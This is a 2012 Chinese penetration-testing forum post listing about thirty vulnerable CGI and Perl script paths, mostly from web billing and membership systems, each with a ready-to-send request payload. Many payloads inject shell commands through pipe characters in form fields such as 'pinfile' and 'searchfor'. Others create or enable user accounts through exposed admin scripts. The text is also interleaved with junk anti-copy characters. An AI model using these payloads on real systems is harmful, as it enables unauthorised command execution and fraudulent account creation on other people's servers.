中国网络渗透测试联盟

标题: Cgi-bin 30个漏洞＋使用方法 [打印本页]
作者: admin    时间: 2012-9-13 16:55
标题: Cgi-bin 30个漏洞＋使用方法
==============================
( _* p% G  i7 H* V  j% p$ m: C2 T$ L$ g6 x
/smspass.pl
. Q7 u% `, o, o1 }5 yusername=username&password=password
: I# S/ {% L; {& j1 |
& @. f+ @/ J6 ~2 q7 X, E- R/index.cgi+ N) ~% m5 N  U% t
wei=ren&gen=command
' y( q; L5 b; h6 |
( @# |" `; p4 j* [8 m4 @/passmaster.cgi+ ]  M! A1 N0 h0 F0 T0 H/ m$ a* G
Action=Add&Username=Username&Password=Password. V! b( l5 F0 l

. L9 m) O- y- }, N4 }/accountcreate.cgi
# i, R9 l0 S2 Wusername=username&password=password&ref1=|echo;ls|
* k' s9 [8 ?! [8 e4 B; F; A( {! A8 C- x
/form.cgi# o/ n% x+ c8 f# t
name=xxxx&email=email&subject=xxxx&response=|echo;ls|% [* S3 V( m  _

4 \( K( b" T  g, W! t, n% w# {/addusr.pl' C  {8 t" Y: K3 t* @6 A/ {
/cgi-bin/EuroDebit/addusr.pl
) u$ m  `. k- g$ c4 |$ fuser=username&pass=Password&confirm=Password: O! ~0 J, A, f6 J' X1 ?

, O7 a& I  B  ~  g; q, h5 m6 z3 h/ccbill-local.asp
/ ]: Q) s8 {# F( opost_values=username:password. u* P% ~$ j9 Z/ ^

* v, k6 X/ F) r! M( r2 r9 p4 v$ j/count.cgi9 z+ s6 \7 X# _% y2 d. P
pinfile=|echo;ls -la;exit|
9 k1 \/ n% E. @, l  N% I6 E( {: U9 ^  J. [+ j
/recon.cgi
8 n) q1 \  g: n; {/ Y4 p' b( y/recon.cgi?search
. |, p8 f1 Y! F2 Usearchoption=1&searchfor=|echo;ls -al;exit|4 x, t1 z3 Y9 `! q5 U. [' Z
7 A  O& @6 b- _
/verotelrum.pl  h" v# L5 o7 k% a
vercode=username:password:dseegsow:add:amount<&30>3 ^& m" Y0 Q/ M5 v

/ b9 G  h. r, J, n/af.cgi5 V; G% O9 e3 u0 ^+ P
_browser_out=|echo;ls -la;exit;|
1 X9 b& o# [7 F; z
$ x) _& u& A5 a/modify.cgi
3 _; q5 Y+ M/ Iusername=username&password=password&expire=30  R# n2 o( z' N" g

$ e6 n* p) b6 h  N( N6 D/openjournal.cgi
8 G) V6 q* H5 M, B- ?  }edit=1&ct=2&go=|echo;ls -al;exit|' _0 c5 b2 F+ W# F2 T* e( u1 S( e

& P$ A; _; x* [% _2 p2 l' T/gx9passwd.cgi
6 J4 [7 H9 I9 q+ Lcmd=ADD&user=username&pass=password
- Y  T$ a2 Z$ B/ u& b% m& o; |) c( Q
/probecontrol.cgi! a* f2 _* [7 c- ^
command=enable&username=username&password=password1 D( O( m3 Y- k& d( }- X
# G) y' p1 g% s$ }( T& m6 `& S
/recon.cgi( I% w5 a' e6 X. a
searchoption=3&searchfor=echo;ls -la;exit
5 D2 n6 U! x- _2 A( n  t/ v5 T% b  B* \7 v
/htadd.pl6 x* U, v* `4 V) P0 J1 b
configfile=|echo; ls -alt; exit; N: \% X; k* I  `0 W

: {! w$ |) E) N! p5 J, `/gx9passwd.cgi; o3 K# c# z5 B$ j8 g2 M
cmd=ADD&user=username&pass=password! |) p+ V" o& C* L+ Y- q

. e5 A, y0 z' x' }" b/ibill*.pl6 @" F3 t, W; M) k( ]
reqtype=add&authpwd=authpwd&username=username&password=password
; ~, {( Z  e0 {
, ?# b  r' Q: g/cpay.cgi! P" \8 h% V- w: y7 p* x9 i' w
command=add_member&username=username(EMAIL)&password=password(DES)
# Z# @2 [9 o  _" H6 A6 z. {! T  Y5 `0 k" [
/globill_ut.cgi5 o* J  r) |) ?
do=add&username=username&password=password&wpassword=password
, P. A- V4 y4 B% V: ]5 \8 e& @2 d
/usercontrol.cgi
3 g! q9 B' S( {command=enable&username=USER&password=PASS9 v; I) ?; c& m5 l

- [8 I% _9 ~5 c0 A5 P/globoSALErum.cgi7 C4 c- ^7 x. E2 n, p6 G
action=ADD&seccode=seccode&login=username&password=password
* r! _- K* K" z' D+ ^+ d, _+ B: \9 y. L& @$ g
/addusr.pl# U4 O) [9 a9 g8 h
user=USER&pass=PASS&confirm=PASS
5 m8 S7 T9 [7 k* Q4 _* P$ O% F2 X$ Y
6 d4 x# c, b1 \, h/pincount.cgi
1 {, ]8 ^( O) h! }, g/cgi-bin/mastergate/pincount.cgi
; |; H0 `" V4 U" z& U6 H: qpinfile=|echo;pwd;exit|
& }' d' G4 y( b5 Z( n# a* @  w4 b) }, I7 s
/accountcreate.cgi, o! p3 a2 R4 k& z' \2 _/ m
/cgi-bin/gateway/accountcreate.cgi
) \8 v  D6 @. E4 Pusername=username&password=password&password2=password&ref1=|echo;ls -al;exit
1 Y! e' ^5 D5 e+ l8 g9 X0 y" @7 d/ O  |, p
/af.cgi
$ ~! z) K1 c' c% e' m, b3 L( e/env.cgi7 p1 b; G$ z4 T  `  c% R7 r
ADD+;echo;pwd;exit/ \  K* ?  A+ L: B" R7 w% _9 Y

" m) H* ]" f5 b* L/count.cgi
% V% n2 m: E, X6 A# K! j& qpinfile=|echo;pwd;exit|! S" K! \! Z: i+ }# x' k

& x  K: I& J: m5 d/recon.cgi2 H6 v. G/ v  n: Z* U
searchoption=1&searchfor=|echo;ls%20-al;exit|
3 a2 s( e: s, }$ u, v% `- `$ x; n; @
/add.cgi. H2 {1 r2 ~$ y. \# \  ]$ S
username=username&password=password&expire=305 L! c( O* N! s8 S, t* _( {
+ \: X: x& n4 x& d" T
==============================
  ?' @( U9 U4 C# w  ~



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2